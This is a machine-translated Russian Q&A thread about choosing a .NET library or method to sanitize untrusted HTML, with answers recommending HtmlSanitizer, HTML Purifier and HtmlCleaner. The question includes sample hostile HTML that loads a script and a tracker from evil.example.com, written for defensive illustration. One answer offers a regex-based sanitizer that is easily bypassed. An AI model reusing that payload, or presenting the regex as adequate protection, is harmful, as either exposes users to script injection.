Что я могу использовать для дезинфекции полученного HTML при сохранении основного форматирования?
Это обычная проблема, я надеюсь, что она была полностью решена для меня.
В системе, которую я выполняю для клиента, мы хотим принять HTML из ненадежных источников (HTML-форматированный адрес электронной почты, а также файлы HTML), дезинформировать его, чтобы у него не было никаких сценариев, ссылок на внешние ресурсы и другая безопасность/и т.д. вопросы; а затем безопасно отображать его, не теряя при этом основного форматирования. Например, так же, как клиент электронной почты будет обрабатывать электронную почту в формате HTML, но в идеале, не повторяя 347 821 ошибки, которые были сделаны (до сих пор) на этой арене.: -)
Цель состоит в том, чтобы в итоге нам было комфортно отображать внутренние пользователи через iframe
в нашем собственном веб-интерфейсе или через Класса WebBrowser в приложении .Net Windows Forms (которое, кажется, не безопаснее, возможно, меньше) и т.д. Пример ниже.
Мы понимаем, что некоторые из них могут хорошо отображать текст; это нормально.
Мы будем дезинфицировать HTML-код при получении и сохранении дезинфицированной версии (не беспокойтесь о части памяти и SQL-инъекциях и т.д.), мы получили этот бит.
Программное обеспечение должно запускаться на Windows Server. Рекомендуется сборка COM DLL или .Net. FOSS явно предпочтительнее, но не является нарушителем сделки.
Что я нашел до сих пор:
- проект AntiSamy.Net (но он выглядит как no более длительное время находится в активной разработке, более чем за год отстает от основного проекта – проекта AntiSamy Java).
- Некоторый код из нашего собственного Джеффа Этвуда, около трех лет назад (да, интересно, что он делал...).
- HTML Agility Pack (используется проектом AntiSamy.Net выше), что дало бы мне сильный синтаксический анализатор; то я мог бы реализовать свою собственную логику для прохождения через итоговую DOM и отфильтровывать все, что я не имел в белом списке. Пакет маневренности выглядит действительно замечательно, но я буду полагаться на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что против него.
- Microsoft Anti-XSS library
Что бы вы порекомендовали для этой задачи? Один из вышеперечисленных? Что-то еще?
Например, мы хотим удалить такие вещи, как:
-
script
элементы
-
link
, img
и такие элементы, которые обращаются к внешним ресурсам (возможно, заменяют img
текстом "[изображение удалено" ] или некоторые такие)
-
embed
, object
, applet
, audio
, video
и другие теги, которые пытаются создать объекты
-
onclick
и аналогичный обработчик событий DOM0 script code
-
href
на a
элементы, которые запускают код (даже ссылки, которые, как нам кажется, в порядке, мы можем превратиться в открытый текст, который пользователи должны умышленно скопировать и вставить в браузер).
- __________ (722 вещи, о которых я не думал, являются причиной, по которой я ищу, чтобы использовать то, что уже существует)
Так, например, этот HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="#" onclick="location.href='http://evil.example.com/tracker.css'; return false;">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
станет
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(Обратите внимание, что мы полностью удалили link
и onclick
и заменили img
на заполнитель. Это всего лишь небольшое подмножество того, что мы считаем нужным вырезать.)
Ответы
Ответ 1
Это более старый, но все же актуальный вопрос.
Мы используем HtmlSanitizer.Net-библиотеку, которая:
Также на NuGet
Ответ 2
Я чувствую, что вам определенно нужен синтаксический анализатор, который может генерировать источник XML/DOM, чтобы вы могли применять его для создания того, что вы ищете.
Смотрите, если HtmlTidy или Mozilla или HtmlCleaner могут помочь синтаксические анализаторы. В HtmlCleaner есть много настраиваемых параметров, которые вы также можете посмотреть. В частности, раздел , который позволяет пропустить теги, которые вам не нужны.
Ответ 3
Предлагаю посмотреть http://htmlpurifier.org/. Их библиотека довольно полная.
Ответ 4
Я бы предложил использовать другой подход. Если вы контролируете метод просмотра HTML, я бы удалил все угрозы с помощью рендеринга HTML, который не имеет механизма ECMA script или любой возможности XSS. Я вижу, что вы собираетесь использовать встроенный объект WebBrowser, и правильно, вы хотите создать HTML-код, который нельзя использовать для атаки ваших пользователей.
Я рекомендую искать базовый движок отображения HTML. Тот, который не может разобрать или понять любую из функций сценариев, которые сделают вас уязвимыми. Все javascript просто игнорировались бы тогда.
У этого есть еще одна проблема. Вам нужно будет убедиться, что используемый вами зритель не подвержен другим типам атак.
Ответ 5
Интересная проблема: я потратил некоторое время на это, потому что есть много вещей, которые мы хотим удалить из пользовательского ввода, и даже если я сделаю длинный список вещей, которые нужно удалить, последний из HTML может развиваться, и мой список будет есть несколько отверстий.
Тем не менее, я хочу, чтобы пользователи вводили некоторые простые вещи, такие как полужирный, курсив, абзацы... prety simple.
Нет сомнений, что список разрешенных вещей короче, и html может изменить последнее, что не сделает отверстия в моем списке, если html не остановит поддержку этих простых вещей.
Так что начните думать иначе, скажите только то, что вы позволяете, с большой болью, потому что я не эксперт по регулярному выражению (поэтому, пожалуйста, некоторые люди регулярных выражений меня исправляют или улучшают), я закодировал это выражение и его рабочую форму, даже до того, как придет HTML5.
replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")
(b | я | p | br) < - это список допустимых тегов, не стесняйтесь добавлять некоторые.
это начальная точка, и поэтому некоторые люди регулярных выражений должны улучшить удаление атрибутов, например onclick
если я это сделаю:
(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>
Теги с onclick или другими материалами будут удалены, но соответствующие закрывающие теги останутся, и в конце концов мы не хотим, чтобы эти теги были удалены, мы просто хотим удалить атрибуты тега.
может быть второй проход регулярного выражения с
(?!<[^<>\s]+)\s[^</>]+(?=[/>])
Я прав? может ли он быть составлен за один проход?
мы по-прежнему не имеем отношения между тегами (открытие/закрытие), не так много до сих пор.
Может ли атрибут удалить запись, чтобы удалить все, а не из белых списков? (возможно, да).
последняя проблема.. при удалении тегов, таких как script, контент остается, желательно при удалении шрифта, но не script, мы можем сделать первый проход с
<(script|object|embed)[^>]*>.*</\1>
который удалит определенные теги и его содержимое.. но его черный список, то есть вы должны следить за ним в случае изменения html.
Примечание: все с "gi"
изменить:
присоединил все вышеперечисленное к этой функции
String.prototype.sanitizeHTML=function (white,black) {
if (!white) white="b|i|p|br";//allowed tags
if (!black) black="script|object|embed";//complete remove tags
e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
return this.replace(e,"");
}
-черный список → завершить удаление тега и содержимого
-белый список → сохранить теги
другие теги удаляются, но содержимое тега сохраняется
все атрибуты тега белого списка (остальные) удаляются
все еще есть место для белого списка атрибутов (не реализовано выше), потому что, если я хочу сохранить IMG, тогда src должен остаться... и как насчет отслеживания изображений?